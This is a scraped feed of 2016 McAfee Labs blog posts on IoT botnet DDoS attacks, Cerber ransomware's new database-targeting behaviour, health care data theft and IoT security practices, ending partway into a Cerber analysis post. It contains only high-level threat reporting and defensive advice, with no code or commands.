Consumers and business are feeling the impact of massive distributed denial of service (DDoS) attacks, fueled by insecure Internet of Things (IoT) devices. The sheer impact of data and requests that these botnets can wield is an order of magnitude greater than the industry’s comfort zone. The consensus is that everyone should be worried and the fix is not quick. The IoT industry must change to embrace security across the life cycle of these devices. In a twisted way, these recent attacks are a good wake-up call for the industry. The group agreed that it is far better to have these incidents occur now rather than down the road, when billions more IoT devices will be connected to the Internet.

Data breaches

On the heels of the worst year (2015) for health care data breaches, the hemorrhaging continues. This is by no means limited to health care, as many other sectors are being impacted. An interesting debate emerged challenging the role and impacts of government regulations in this space. One side postulated the government has weakened security by setting a confusing bar that is too low. Compliance does not make organizations secure, which is an unfortunate mental trap. Many organizations fund only what is needed to achieve the minimal requirements. On the other side, advocates of regulation and auditing pointed out that without a baseline many organizations would fall severely short. As we all work together, we need assurance that other partners, parties, suppliers, and vendors are implementing security controls which meet expectations.

Nobody believed the legislative process could effectively keep pace with the changes in the industry. But all agreed that the lack of consistency, readability, and simplicity of regulations is a problem. Complexity increases costs, delays implementation, and causes confusion. Smarter, lightweight, and easily understood guidelines would benefit the community.

Credit card and online fraud

Major retailers saw a drop in in-store credit fraud with the introduction of new chip cards in the United States, accompanied with a correlated rise of online theft, in which the chip does not play a role. In effect, fraud continues, but the bubble was squeezed from in-store to online properties. It is a predictable outcome when threat agents are viewed as intelligent attackers. They will adapt. Shrinkage figures are not outrageous, but the online security teams are feeling the heat to keep them low. This pressure will likely require a combination of new technology, back-end analytics, and user-behavior changes. Greed is a persistent attribute of cybercriminals. Other activities, such as ransomware, are also currently painful for consumers, health care, and small businesses. Enterprises have their ears open to shifts in which they may become the primary targets if attackers can find a way to reach into their deep pockets.

Gone in 60 minutes

The industry is full of risks and opportunities. Sitting in a room of experienced professionals who are sharing their insights and experiences reveals one important fact. These conversations must occur more often if we are to keep pace with the attackers. Our adversaries share information and are masterful at working together to our detriment. We, the cybersecurity community, must do the same in order to survive. Our hour together raced by quickly. I look forward to more meetings, discussions, debates, and venting sessions.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Talking About Cyber Risks Educates the Community appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/talking-about-cyber-risks-educates-the-community/feed/ 0
Cerber Ransomware Now Hunts for Databases https://securingtomorrow.mcafee.com/mcafee-labs/cerber-ransomware-now-hunts-databases/ https://securingtomorrow.mcafee.com/mcafee-labs/cerber-ransomware-now-hunts-databases/#respond Fri, 04 Nov 2016 20:29:11 +0000 https://securingtomorrow.mcafee.com/?p=64077 Cerber is one of the most popular ransomware packages. It has upgraded itself to also target databases. It is available for purchase as a service (ransomware as a service) on the “dark net” as part of an affiliate program. Cerber is part of a turnkey service in which clients share 40% of their profits with …

The post Cerber Ransomware Now Hunts for Databases appeared first on McAfee Blogs.

]]>
ransomware

Cerber is one of the most popular ransomware packages. It has upgraded itself to also target databases. It is available for purchase as a service (ransomware as a service) on the “dark net” as part of an affiliate program. Cerber is part of a turnkey service in which clients share 40% of their profits with the developers. In turn, the Cerber team does all the work on the back end to make it simple for their affiliates to distribute the malware and receive payments from victims, minus the overhead costs.

This update is significant. It expands the capabilities to not only targeted consumers, but now to businesses as well. This shift is the latest trend with the top ransomware families. Attackers have realized that though consumers may pay $300–$500 for their files, businesses will may much more. As most criminals do, they pursue the money.

Three changes  

The latest version of Cerber has made three important changes. The malware now alters the extensions of encrypted files to a random four characters. Previously it changed the extension of altered files to .cerber3. This adaptation makes it more difficult to scan for affected files. (For more on the extensions, read this McAfee Labs blog.)

Second, a new HTML executable file displays the ransom note and instructions in a window. It is cleaner, provides links, and is more professional looking. This may give victims more confidence that they are dealing with professionals and should expect to receive a key to unlock their files if they pay.

cerber

Finally, and most important, the malware now attempts to stop database processes running on the target system so it can encrypt the data. This is a significant shift in focus from consumers to businesses, which typically run databases containing important operational data. When database files are open and in use by software, they cannot easily be encrypted. Cerber attempts to close the database software so the files can be encrypted.

Big business 

Security experts believe Cerber is based in Russia because it avoids systems configured in the Russian language. But it has the rest of the world to target, and it does well. Estimates vary, but profits appear to range from $1 million to $2.5 million per year. In August, Check Point Software and IntSights tracked 161 campaigns active with eight new ones launched every day. In July, they tracked 150,000 new system infections, with an average extortion demand of one Bitcoin.

Cerber in action

Cerber developers are pushing the next evolution of ransomware by going after database files. Admins, watch your database processes for unexpected stops. It might be an indication of Cerber ransomware trying to undermine file integrity. But that would be the wrong time to consider instituting good backups and applying good security practices.

The best strategic cybersecurity capability process includes elements to Predict, Prevent, Detect, and Respond to risks. This holds true for protection against ransomware. A solid data backup/restoration capability is important, as is quality antimalware to block attacks. Behavioral controls to educate users will reduce the biggest infection vector: people opening infected phishing emails. Rapid detection and sensors must be present to quickly raise the alarm for variants that cannot be stopped. Recovery teams with clear processes, tools, and backups must then get things back to normal. Ransomware is not easy to defeat, but the first step it to have a comprehensive plan and resources. Cerber and others will continue to evolve. Therefore, your security must be just as agile.

Resources

Image credit and a good write-up: http://www.bleepingcomputer.com/news/security/cerber-ransomware-switches-to-a-random-extension-and-ends-database-processes/

Video credit: http://www.securityspyware.com/cerber-ransomware-virus-removal-decrypt-random-extension/

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedInOpens in a new window to hear insights and what is going on in cybersecurity.

The post Cerber Ransomware Now Hunts for Databases appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/cerber-ransomware-now-hunts-databases/feed/ 0
Top 5 Things to Know About Recent IoT Attacks https://securingtomorrow.mcafee.com/mcafee-labs/top-5-things-know-recent-iot-attacks/ https://securingtomorrow.mcafee.com/mcafee-labs/top-5-things-know-recent-iot-attacks/#respond Wed, 02 Nov 2016 09:10:49 +0000 https://securingtomorrow.mcafee.com/?p=64006 Recent Internet attacks have resulted in several popular sites becoming unreachable. The list includes Twitter, Etsy, Spotify, Airbnb, Github, and The New York Times. These incidents have brought to light a new threat to online services: botnets powered by the Internet of Things (IoT). Distributed denial of service (DDoS) attacks have been commonplace for more …

The post Top 5 Things to Know About Recent IoT Attacks appeared first on McAfee Blogs.

]]>
internet_of_things_318996506

Recent Internet attacks have resulted in several popular sites becoming unreachable. The list includes Twitter, Etsy, Spotify, Airbnb, Github, and The New York Times. These incidents have brought to light a new threat to online services: botnets powered by the Internet of Things (IoT). Distributed denial of service (DDoS) attacks have been commonplace for more than a decade but have rarely been too troublesome. For the past several years, network providers security services have been able to absorb such attacks to keep online properties available. But the game has now changed.

In essence, when a number of devices can be controlled to simultaneously flood a destination with network requests, the target becomes overloaded and legitimate requests cannot be processed. Traditional network filters are smart enough to recognize a handful of systems attempting this malicious behavior and simply drop all requests from them. But when thousands of systems mount an attack, the normal filters fail to recognize legitimate from malicious traffic and the availability of the system crumbles.

Cybercriminals and hacktivists have found a new weapon in this war, the IoT. Billions of IoT devices exist and can be as small as a piece of jewelry or as large as a tractor. They all have one thing in common: They connect to the Internet. This connection offers tremendous benefits. People can monitor their homes from afar with cameras, check the contents of their refrigerator while at the store, and do a myriad of other great things with these connected beneficial gadgets. We must not forget, however, that these are just tools. They can be wielded for good or employed for malice. To hackers, each one of these devices is a potential robotic soldier that could be a recruit into their bot armies.

A recent attack against a major DNS provider has highlighted this vulnerability to millions of Internet users. Botnets containing tens or hundreds of thousands of hijacked IoT devices can bring down major pieces of the Internet. IoT devices now represent a new and formidable threat. The next few months will be telling. For now, let’s cut through the hype and understand the important aspects of recent IoT DDoS attacks.

5 key points:

  1. Insecure IoT devices pose new risks for everyone. Every IoT device that can be hacked is a potential soldier in a botnet army which could be used to bring down important parts of the Internet. Such attacks can interfere with your favorite sites for streaming, social media, online-shopping, banking, etc. If you own such weak or poorly configured devices, then you could be contributing to the problem.
  2. IoT devices are valuable to hackers; they will not give them up without a fight. Although attacks such as the malware in the Mirai botnets are simple in nature, they will evolve as quickly as they need to for the attackers to remain in control. IoT devices are hugely valuable to hackers, as they empower them to conduct devastating DDoS attacksOpens in a new window with little effort.
  3. DDoS attacks from IoT devices are severe and tough to defend against. Identifying and filtering out attacks from a handful of systems is easy. When faced with tens or hundreds of thousands, it is nearly impossible. The amount of resources needed to fend off attack is tremendous and costly. The recent attack to knock Brian Krebs’ security-reporting site offline resulted in Akamai’s vice president of web security stating “If this kind of thing is sustained, we’re definitely talking millions” of dollars in cybersecurity services to keep the site available. That is powerful. Look for attackers to not give up easily. These always connected devices are perfect for DDoS botnets.
  4. Cybercriminals and hacktivists are driving these attacks. There is speculation that nation-states are behind the latest string of attacks. That is highly unlikely. The authors of Mirai, one of hundreds of botnets, voluntarily released the code to the public, something a governmental team would never do purposefully. However, it is a good bet that after witnessing how powerful IoT botnets are, nation-states are probably working on similar strategies but with much more advanced capabilities. In the short term, cybercriminals and hacktivists will remain the main culprits behind these attacks. During the next few months, expect criminals to find angles for making a financial profit, like extortion.
  5. It will get worse before it gets better. Unfortunately, most IoT devices that have been deployed lack strong security defenses. The ones being hacked now are the easiest, with default passwords that are published for anyone to look up. Hacker software simply connects and logs into the device, unless the owner has changed the default password. It is no surprise that most have not taken this important step. Instantly, the attackers have another soldier to do their bidding. In order for this situation to get better, several aspects must be addressed. Devices must be designed with security in mind, configured properly, and managed to keep security updated. This will take both technical and behavioral changes in the long run to keep pace with evolving hackers.

To learn more, read How to Secure the Future of IoTOpens in a new window.

securing-iot-devices

Hacking IoT devices is now a problem for everyone. Due to the ease of compromise and massive numbers of IoT devices that are connected to the Internet, cybercriminals and hacktivists have a vast resource to fuel powerful DDoS campaigns. We are just starting to see the attacks and issues around IoT security. It will continue to be a problem until more comprehensive controls and behaviors make us all more secure.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist)Opens in a new window and LinkedInOpens in a new window to hear insights and what is going on in cybersecurity.

The post Top 5 Things to Know About Recent IoT Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/top-5-things-know-recent-iot-attacks/feed/ 0
The Latest IoT Device I Do Not Want Hacked https://securingtomorrow.mcafee.com/mcafee-labs/latest-iot-device-not-want-hacked/ https://securingtomorrow.mcafee.com/mcafee-labs/latest-iot-device-not-want-hacked/#respond Tue, 01 Nov 2016 19:21:53 +0000 https://securingtomorrow.mcafee.com/?p=64003 What if someone hacked this remotely controlled semiautonomous tractor? I am a cybersecurity guy and a huge fan of technology. One of the challenges we face in the security industry is the growth of the Internet of Things (IoT). IoT is about connecting everyday objects to the Internet. It might be a toaster, alarm clock, …

The post The Latest IoT Device I Do Not Want Hacked appeared first on McAfee Blogs.

]]>
case-ih-autonomous-concept-vehicle

What if someone hacked this remotely controlled semiautonomous tractor?

I am a cybersecurity guy and a huge fan of technology. One of the challenges we face in the security industry is the growth of the Internet of Things (IoT). IoT is about connecting everyday objects to the Internet. It might be a toaster, alarm clock, pressure sensor, valve, security camera, medical pill, or vehicle. The benefits can be tremendous, with remote monitoring, management, and the ability to control something from afar. It can enable machines to do the mundane tasks we want to avoid.

This is why the IoT market is exploding. The estimates of IoT devices connected to the Internet is approximately 25 billion by 2020.

But there are risks, because technology is just a tool. One that can be used for noble purposes but also for malicious acts. Every connected device could potentially be taken over by someone who is not interested in your privacy, safety, or prosperity.

It could be petty, as with someone who makes your crock pot overcook your dinner. But it could be unnerving and downright dangerous. A stalker who hacks your home cameras without your knowing. A terrorist who takes over operation of vehicles on the freeway. A nation-state that can undermine an adversary’s power grid and water supply. An anarchist who brings down critical equipment in emergency rooms. These are not pleasant situations. Technology can be compromised.

So I spend my days looking into such things and pondering a future in which technology innovation and security threats intersect. Here is the latest little gem I was contemplating on a lazy afternoon: Meet the Case IH Autonomous Concept Vehicle. It is a powerful beast of a machine, a tractor that can run itself with semiautonomous capabilities or be controlled remotely by an operator. The benefits of an autonomous tractor, could be great, even game changing for the agriculture output of a farm. Taking advantage of narrow harvesting windows and using optimal routes to maximize the crop return, these things could run in packs, working 24/7 while stopping only for fuel, to maximize yields. They might even be able to farm areas we thought impossible or undesirable. The benefits to the farming output of a nation could be outstanding.

But on the other hand, I don’t want even one of these beasts to be hijacked by some hacker. The damage one could cause would be tremendous. The difficulty of stopping it may prove overwhelming to local law enforcement. A tornado on wheels.

I am not singling out this device over any others, just using it as an example of the juxtaposition of technology and security. There are tremendous potential benefits, but at the same time grievous potential risks. We as a society must understand both sides and maneuver in a way that finds a good balance, institutes proper safety measures, and aligns to healthy ethics for the greater community. Security grows more important as we embrace technology.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post The Latest IoT Device I Do Not Want Hacked appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/latest-iot-device-not-want-hacked/feed/ 0
A ‘Second Economy’ Prognosis for Health Care Cybersecurity https://securingtomorrow.mcafee.com/mcafee-labs/second-economy-prognosis-health-care-cybersecurity/ Wed, 26 Oct 2016 19:01:39 +0000 https://blogs.mcafee.com/?p=53497 Intel Security CTO Steve Grobman has pointed out that gaining the upper hand in cybersecurity requires that we extend our thinking beyond the physical economy of money, assets, goods, and services to a Second Economy defined by the currencies of trust, time, and money. As in other industries, health care is working toward maximizing efficiencies, …

The post A ‘Second Economy’ Prognosis for Health Care Cybersecurity appeared first on McAfee Blogs.

]]>
Intel Security CTO Steve Grobman has pointed out that gaining the upper hand in cybersecurity requires that we extend our thinking beyond the physical economy of money, assets, goods, and services to a Second Economy defined by the currencies of trust, time, and money.

As in other industries, health care is working toward maximizing efficiencies, containing expenses, capturing revenues, and delivering enhanced services through networked devices. Unfortunately, the new opportunities also involve challenges born of a reliance on fragmented cybersecurity strategies built around siloed architectures, and a failure to recognize the value of the extensive data stores the health care sector manages. Losing intellectual property and business confidential information could destroy whole pharmaceutical or biotech companies. Losing personal, sensitive patient data could squander the precious currency of trust in digital medicine, in care providers, and their application of technology.

A McAfee Labs report released today details some of the consequences of health care industry players failing to appreciate the value of data, the attractiveness of that data to cybercriminals, and the ecosystem growing around the theft of such data. The report, Health Warning: Cyber Threats Targeting and Compromising the Health Industry, features three areas of focus.

The value of protected health information

In recent years, Intel Security has observed the cybercriminal community extend its data theft efforts beyond financial account data to medical records.

Although credit and debit card numbers can be canceled and replaced quickly, this is not the case for protected health information (PHI) that does not change. This “nonperishable” PHI could include family names, mothers’ maiden names, social security or pension numbers, payment card and insurance data, and patient address histories. McAfee Labs found stolen medical records available for from $0.03 to $2.42 per record.

Cybercriminals analyze the data, and perhaps cross-reference it with data stolen from other sources to identify lucrative fraud, theft, extortion, character assassination, or blackmail opportunities across the population of patients.

Targeting intellectual property

Our research and analysis on the targeting of biotechnology and pharmaceutical firms suggest that the economic value of their intellectual property and business confidential information is considerably higher than the cents- and dollars-per-record data Intel Security’s researchers identified within patients health care accounts.

When you consider that research and development is a tremendous expense for these industries, it should be no surprise that cybercriminals are attracted to this category of data theft.

Intel Security researchers found evidence that formulas for next-generation drugs, drug trial results, and other business confidential information constitutes significant value. The stores of such data at pharmaceutical companies, their partners, and even government regulators involved in bringing new drugs to market have become premium targets of cybercriminals.

Ecosystem of health care data theft

Intel Security also identified cybercriminals leveraging the cybercrime-as-a-service market to execute their attacks on health care organizations. Researchers found evidence of the purchase and rental of exploits and exploit kits to enable the system compromises behind health care data breaches. The researchers even observed efforts by cybercriminals, through online ads and social media, to recruit into their ranks health care industry insiders with access to valuable information.

The Second Economy challenge

The growth and evolution of the market for stolen health care data and the hacking skills required to steal it suggest that the business of cybercrime in this vertical industry is good and growing. Given the increasing threat to the industry, breach costs ought to be evaluated in new Second Economy terms—in which lost trust can inflict as much damage upon individuals and organizations as lost funds.

In health care, gaining the upper hand in cybersecurity means rejecting conventional defense paradigms in favor of radical new thinking. Where health care organizations have relied on old playbooks, they must be newly unpredictable. Where they have hoarded information on attacks, exploits, and threats, the industry must become more collaborative. Where they have undervalued cyber defense overall, they must prioritize it.

In the Second Economy, trust is the prime casualty of cybercrime. In an industry in which the personal is paramount, the loss of trust could be catastrophic to its progress and prospects for success.

The post A ‘Second Economy’ Prognosis for Health Care Cybersecurity appeared first on McAfee Blogs.

]]>
How ‘Weaponized’ Medical Data Could Be as Damaging as Clinton’s Emails or Trump’s Videos https://securingtomorrow.mcafee.com/mcafee-labs/weaponized-medical-data-damaging-clintons-emails-trumps-videos/ Wed, 26 Oct 2016 19:01:01 +0000 https://blogs.mcafee.com/?p=53491 The 2016 presidential election in the United States will be remembered for a great many things. Never before in US history has the disclosure or nondisclosure of personal information figured so prominently in public debate. Never before has the ability to compromise and disclose personal information been used as a political weapon to damage the …

The post How ‘Weaponized’ Medical Data Could Be as Damaging as Clinton’s Emails or Trump’s Videos appeared first on McAfee Blogs.

]]>
The 2016 presidential election in the United States will be remembered for a great many things. Never before in US history has the disclosure or nondisclosure of personal information figured so prominently in public debate. Never before has the ability to compromise and disclose personal information been used as a political weapon to damage the public perception of the presidential candidates. Moreover, never before have the personal health histories of the candidates figured so prominently in efforts to qualify or disqualify them as fit or unfit to serve as president.

A report released this week by Intel Security reveals the ease by which nation-states, domestic political actors, corporations, or activist groups could steal and expose the medical records of political opponents in the same way that the disclosure of incriminating email messages, video recordings, private documents, and speech transcripts has already been used as a political weapon in 2016.

The market for your medical data

The report shows that huge caches of detailed medical records can be purchased for a mere $0.03 to $2.42 per record and browsed to identify the names of political candidates and their family members. Such records contain protected health information such as family names, mothers’ maiden names, social security numbers, payment card and insurance data, and patient addresses. But they also include more sensitive information such as medical histories, details of medical conditions, mental health issues, medications taken, and the state of treatment for a variety of perhaps embarrassing afflictions or addictions.

Intel Security suggest that cybercriminals already mine and analyze millions of such records, cross-reference them with data from other sources, and assemble profiles around individuals who appear to be the most viable targets for crimes such as fraud, data theft, extortion, identity theft, and blackmail. Such crimes have gone digital along with so many other things in our world, and it is not a stretch to foresee them going political in the near future (assuming they already have not).

The “weaponization” of medical records

Although this political season suggests nothing is truly disqualifying, just a couple of years ago former Florida Governor Jeb Bush was deemed disqualified as a presidential candidate on account of, among other things, his daughter’s very public drug addiction. The theft, identification, and public disclosure of data exposing such cases would constitute a political “weaponization” of personal medical records.

Such a disclosure or threat of disclosure targeting a close relative could certainly prove damaging or threatening enough to force a politician from an election contest, or even out of politics altogether.

In 2016, Republican candidate Donald Trump has been criticized for releasing an allegedly inadequate and unconvincing doctor’s letter attesting to his “tremendous” state of health. The health of Democratic candidate Hillary Clinton has been questioned following the release of a mere four seconds of video depicting her exhibiting dizziness. Though these two candidates are not known for quitting, consider that a disclosure of medical records challenging the “robust health” assertions of most campaign teams might prove pivotal in the final days of a contentious election.

Health care hackers-for-hire

 Nor is it a stretch to assert that cyber capabilities—hacking skills, tools, and infrastructure— are beyond the reach of political actors.

Recent press reports claim that around 500 million Yahoo email accounts appear to have been compromised by a mercenary cyber gang. Intel Security has identified cyber gang services available for hire specifically for the purpose of attacking health care organizations. Researchers found evidence of the purchase and rental of exploits and exploit kits to enable the system compromises behind health care data breaches.

In one case, a relatively non–technically proficient cyber thief purchased tools to exploit a vulnerable health care organization, and even leveraged free technical support to orchestrate his attack. The Intel research found that this actor extracted more than 1,000 medical records that the technical support provider said was worth as much as $15,564.

This data breach–enabling ecosystem is so developed that Intel Security was able to uncover the brazen efforts of cybercriminals to recruit as accomplices, through online ads and social media communications, health care industry insiders with workplace access to patients’ information.

Prognosis: unprecedented?

Intel Security’s report reveals how financial resources can command the technical means for launching cyber-attacks via a marketplace for health care hackers-for-hire and stolen medical data. All that remains is the motive, criminal or political, and the media opportunity to release damaging data through organizations such as WikiLeaks or press outlets.

To believe that such an event is unheard of, despite evident public disclosure of weaponized emails, video, and documents, would be to ignore that the 2016 US election season has entered the realm of the unprecedented..

 

 

 

 

The post How ‘Weaponized’ Medical Data Could Be as Damaging as Clinton’s Emails or Trump’s Videos appeared first on McAfee Blogs.

]]>
How to Secure the Future of the Internet of Things https://securingtomorrow.mcafee.com/mcafee-labs/how-to-secure-the-future-of-the-internet-of-things/ Sat, 22 Oct 2016 00:49:36 +0000 https://blogs.mcafee.com/?p=53451 The world of security for the Internet of Things just became more complex. IoT devices are no longer a potential threat to their owners; now they pose a significant threat to everything connected to the Internet. The old IoT security problem For the past year, the cybersecurity and IoT communities have been at odds regarding …

The post How to Secure the Future of the Internet of Things appeared first on McAfee Blogs.

]]>
iot5

The world of security for the Internet of Things just became more complex. IoT devices are no longer a potential threat to their owners; now they pose a significant threat to everything connected to the Internet.

The old IoT security problem

For the past year, the cybersecurity and IoT communities have been at odds regarding how to keep devices from harming their owners. Much of the focus emerged around industrial controls and transportation equipment. Vulnerable industrial controls devices could cause cascading effects to power stations, water distribution, chemical plants, heavy machinery, and other industrial facilities, posing a threat to workers or downstream users. There have been hacks, compromises, and stern warnings. Concerned governments are putting pressure and establishing requirements to protect services at a national level.

Vehicles, most notably airplanes and smart cars, have taken the bulk of the public’s attention. Hacks against Jeep, Tesla, and Volkswagen have shown how doors can be unlocked and total operating control commandeered with steering, breaks, and acceleration taken over by an attacker. A car that is rendered unusable by its owner or made to crash and injure occupants is frightening but apparently trivial if you do not own that type of vehicle. The public appears to be entertained by these research exploits but not too concerned. The danger may seem beyond the everyday consumer and the effects are likely limited to only those who could afford such conveyances.

On the low-cost side, home appliances, wearables, toys, and drones are already a part of the everyday consumer world, but hacking a smart toaster or rice cooker seems harmless, beyond some burnt starch.

Eventually, we will face more risks than we can imagine. As IoT devices are woven into the fabric of people’s daily lives, we will be at risk of their misuse. In the future they will begin to control the stoplights on the way to work, the equipment in the emergency room, control of progressively more vehicles on the road and in the sky, and the distribution of such necessities such as electricity, food, medicine, water, and communications. We will begin to understand how these little technical minions become critical to the smooth delivery of services in our future digital lives.

This is the space where thought-leading IoT manufacturers are working feverishly. The automobile industry in particular has been quick to invest in security to ensure their products do not cause accidents. Such work has begun, but it still has a long way to go in cars and across all the other billions of devices we will weave into our lives and businesses in the next few years.

The next generation of IoT devices is appearing and will work to help protect our property, monitor our health, automate our homes, keep our children safe, increase our communication, eliminate time-wasting chores, make us more efficient, and optimize our businesses. A great future to be sure, but it will need to be trustworthy and secure, as our reliance on the smallest elements will ultimately impact the biggest parts of our lives. These are all known and accepted security challenges in the world of IoT. This is not the end of the security story, only the beginning.

The new IoT security problem

We now face a new set of problems with IoT. Unlike the known challenges, in which IoT devices might impact local owners and bystanders, the new threat is a powerful weapon that can be pointed at anything connected to the Internet. Recent distributed denial of service (DDoS) attacks have been fueled by hacked IoT devices, called bots. DDoS attacks saturate Internet-connected devices and services to bring them down or make them unavailable. Such attacks have been around for years, and in fact were some of the first types of Internet attacks; but the scale is now changing the game at a pace not tenable for security workarounds.

The game has changed. These IoT DDoS attacks are typically run by “bot herders.” These herders compromise devices and install malware that allows them to be remotely controlled. By pointing hundreds or thousands of devices to flood a target with requests and data, they can overwhelm it to the point it can no longer maintain functions. There are several anti-DDoS services that offer protection for a price. But the scale of the new IoT-backed attacks, which are larger than anything ever seen, makes protection difficult and costly. Josh Shaul, Akamai’s vice president of web security, warned that if such an attack were sustained, it could cost the victim millions of dollars in cybersecurity services to stay online.

Traditionally, PCs were the prime targets to turn into bots, as many people did not bother with installing antimalware products. But over the last few years, PCs have become much better protected and thus difficult for bot herders to consistently control. The other problem is the shift to laptops. A bot is good only if it is online, can receive instructions from its master, and then continuously execute those orders. Laptops do not fit this model well, as they spend much of their time off, to save battery life.

What bot herders really want is a massive number of devices that are easy to hack, are ignored by their owners, and are constantly connected to the Internet. Recent attacks have proven IoT devices are the perfect solution for cybercriminals.

The rise of IoT is a dream come true for bot herders. Most IoT devices are not powerful enough to have any type of antimalware service. A majority of consumer products come with a default login and password that are published by the manufacturer and easily found on the web. Many stay continuously connected to the Internet and users rarely monitor or update these devices, especially consumers. The biggest factor is around scale. Unlike the hundreds or thousands of PCs that might be in a herd, IoT botnets can number in the hundreds of thousands!

With legions of exploitable devices, attackers are mustering massive DDoS armies and the results of IoT botnets are devastating.

How to secure the future of IoT

The problem is not just what to do now, with the current exploits, but also how to protect the future. Attackers are using the most simple and easy path to take control, the default passwords. But they will adapt as controls come into play. This is the pattern we have seen with many other attack vectors. It is a repeating cycle in which attackers follow the path of least resistance to achieve their objective. IoT devices are just too perfect for botnets for the attackers to easily give up. This is shaping up to be a long and drawn-out fight.

securing-iot-devices

We must secure the future of IoT. This means blocking current exploits as well as interdicting the likely future maneuvers of attackers. This is what must be done to protect the life cycle of IoT devices, from inception to retirement.

  1. Designed and architected for security
    IoT manufacturers must take the time to embed security into the architecture, interfaces, and designs of their products. Basic security concepts and capabilities such as compartmentalization of data and code, communication between trusted parties, data protection both in use and at rest, and authentication of users should be established and tested. Products in the future will get more powerful, store more data, and possess more functionality. This means products should have the ability for security updates, feature locking, build validation, software vetting, and default configurations that follow industry best practices. It all starts with the manufacturer. Future proofing begins at the foundations. The hardware, firmware, operating systems, and software must be designed to go into a hostile environment and survive.
  1. Secure provisioning and configuration
    Most IoT devices require some kind of setup and provisioning upon installation. Device identity and authentication are a must, as part of this two-way process. Proper default configurations that adhere to best security practices are important and should be easy for users to understand. Rules should be in place that do not allow default passwords, require patches and updates to be signed, data to be encrypted, and only secure web connections. For enterprises, limiting network access, patching in a timely manner, and allowing only approved software to run will go a long way to keeping the devices secure. For gadgets that are capable, implementing security software such as antimalware, intrusion prevention systems, and even local firewalls will improve the device’s defense posture. Detection and telemetry should also be configured to detect when systems are under attack or are functioning in ways not intended by the organization. Policies must be established for privacy, data retention, remote access, key security, and revocation procedures.
  1. Proper administration and management
    For devices owned by consumers, it is imperative they alone maintain the final say in how the device is managed. Manufacturers and online service providers play a role in provisioning but the owner must retain ultimate control of what the device will do. Provisioning is different than administration. For example, during installation of home cameras it makes sense to connect to the manufacturer for the latest patches and maybe even setting up cloud storage. But you would not want your home cameras controlled by the manufacturer. They should not have the ability to operate them outside of buyer’s authority. Owners must retain the power to turn on or off their products and choose which online services they allow to connect. This requires proper user identification and authentication. As before, allowing a common default password is not good because anyone can take over as the administrator. Imagine if Windows came with a default login password for every system. It would create a security nightmare because many would never change it and attackers would login as users. So, first IoT systems must be able to authenticate their owners. Management functionality must also extend to empower the owner to set limits, data policies, and privacy parameters that are more restrictive than those of any potential third-party vendor. Signed security updates should be automatically installed by default as they become available. Savvy owners should be able to configure limits for inbound and outbound connections, data types, ports, and security settings. Logs that can be pushed to a trusted system or viewed locally should capture errors, and unexpected and unusual activities. A system for remote-warning notifications, via email or text, is a welcome feature on some devices. Finally, a reset capability must be present in the event of an unrecoverable compromise or transfer of ownership.

Enterprise and industrial devices are typically managed centrally, by the purchasing organization. This may be part or different than provisioning by the manufacturer or service provider. Entire classes, potentially numbering in the thousands, may be controlled to operate individually or as part of a collective. The same choices and control are required. Instead of a single owner, an organization’s employees will administer the IoT devices, monitor for issues, and respond to problems.

Proper administration and management is about oversight and final control by the device owner. It should be simple to understand and easy to manage. Devices should possess the necessary processes to determine if something is wrong, communicate such events to their owners, and provide options to resolve issues. IoT devices are here to make our world better and smarter; they themselves must bring some intellect to the ecosystem to protect themselves and work with their owners for their benefit.

How do we make IoT security a reality? 

Security and privacy take effort, resources, and commitment. To change from the status quo, we must hold manufacturers accountable for their devices. If they fail to design and architect security into their products, make them liable and stop buying their wares. For critical functions that could put the safety of people at risk, enact regulations and subject them to government penalties.

As part of the best practices, which manufacturers and service providers must follow, developers must institute the aspects that make provisioning and initial configuration secure by default. Industry consortiums are working to define best practices, configurations, and default settings for different device classes.

Last and perhaps most difficult, is to raise the level of awareness and involvement of users. It is their security and the operational availability of potential Internet targets that is at risk. Without some assistance from consumers and businesses, these controls will be easily undermined or neglected. Social interaction must take place. We all have a responsibility, as a digital community, to maintain reasonable hygiene for devices connecting to our common resource, the Internet.

The choice is ours

It may seem like a lot to consider, but remember attackers need only find a reasonable vulnerability to exploit. The opportunity is to make the effort challenging enough so they are not motivated to pursue these devices. We find ourselves in a situation in which billions of IoT products will flood every industry and quickly find their way into our homes, schools, governments, and businesses. We must make the necessary efforts to not bring vulnerabilities with them. The effects will go well beyond our own lives, data, and devices. They may be turned into legions of bots, which could cause havoc to even the biggest of organizations on the Internet. We could all become victims if we do not work together to make our future technology trustworthy, safe, and secure.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

 

The post How to Secure the Future of the Internet of Things appeared first on McAfee Blogs.

]]>
Unfolding the Mystery of Cerber Ransomware’s Random File Extension https://securingtomorrow.mcafee.com/mcafee-labs/unfolding-the-mystery-of-cerber-ransomwares-random-file-extension/ Thu, 20 Oct 2016 21:54:41 +0000 https://blogs.mcafee.com/?p=53212 In an earlier blog, we discussed the evolution of the popular Cerber ransomware from Version 1 to 2. Recently we came across two newer versions of Cerber (we’ll call them Versions 3 and X). Cerber 3 has few changes but Version X has some new behavior that caught our attention. (We call this version X, …

The post Unfolding the Mystery of Cerber Ransomware’s Random File Extension appeared first on McAfee Blogs.

]]>
In an earlier blog, we discussed the evolution of the popular Cerber ransomware from Version 1 to 2. Recently we came across two newer versions of Cerber (we’ll call them Versions 3 and X). Cerber 3 has few changes but Version X has some new behavior that caught our attention. (We call this version X, not 4, because this version does not follow Cerber’s usual encryption extension prototype, .cerberN, and instead uses a random extension.) In this post, we will dig into this new version and will uncover the mystery behind the random extension.

Cerber infects systems via social media tricks such as spam email with malicious links or documents, malvertising campaigns, exploits of vulnerable websites, and it also takes advantage of exploit kits such as Angler, Nuclear, and others.

CERBER vX infected machine

Machine infected with Cerber X.

Extensions of files encrypted by Cerber Versions 2, 3, and X:

Cerber version file Extension

Analysis of Cerber X

